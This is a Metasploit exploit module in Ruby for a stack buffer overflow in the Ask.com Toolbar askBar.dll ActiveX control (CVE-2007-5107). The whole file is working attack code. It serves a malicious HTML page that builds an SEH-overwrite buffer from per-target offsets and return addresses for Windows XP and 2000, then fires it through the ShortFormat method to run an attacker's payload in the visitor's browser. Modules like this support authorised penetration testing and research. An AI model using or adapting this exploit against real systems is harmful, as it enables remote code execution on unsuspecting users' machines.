Path: blob/master/modules/exploits/windows/browser/ask_shortformat.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.18An attacker may be able to execute arbitrary code by sending an overly19long string to the "ShortFormat()" method in askbar.dll.20},21'License' => MSF_LICENSE,22'Author' => [ 'MC' ],23'References' => [24[ 'CVE', '2007-5107' ],25[ 'OSVDB', '37735' ]26],27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 800,32'BadChars' => "\x00\x09\x0a\x0d'\\",33'StackAdjustment' => -3500,34},35'Platform' => 'win',36'Targets' => [37[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],38[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],39],40'DisclosureDate' => '2007-09-24',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)49end5051def autofilter52false53end5455def check_dependencies56use_zlib57end5859def on_request_uri(cli, request)60# Re-generate the payload61return if ((p = regenerate_payload(cli)) == nil)6263# Randomize some things64vname = rand_text_alpha(rand(100) + 1)65strname = rand_text_alpha(rand(100) + 1)6667# Set the exploit buffer68filler = rand_text_alpha(target['Offset'])69seh = generate_seh_payload(target.ret)70sploit = filler + seh + rand_text_alpha(payload.encoded.length)7172# Build out the message73content = %Q|<html>74<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>75<script language='javascript'>76#{strname} = new String('#{sploit}');77#{vname}.ShortFormat = #{strname}78</script>79</html>80|8182print_status("Sending #{self.name}")8384# Transmit the response to the client85send_response_html(cli, content)8687# Handle the payload88handler(cli)89end90end919293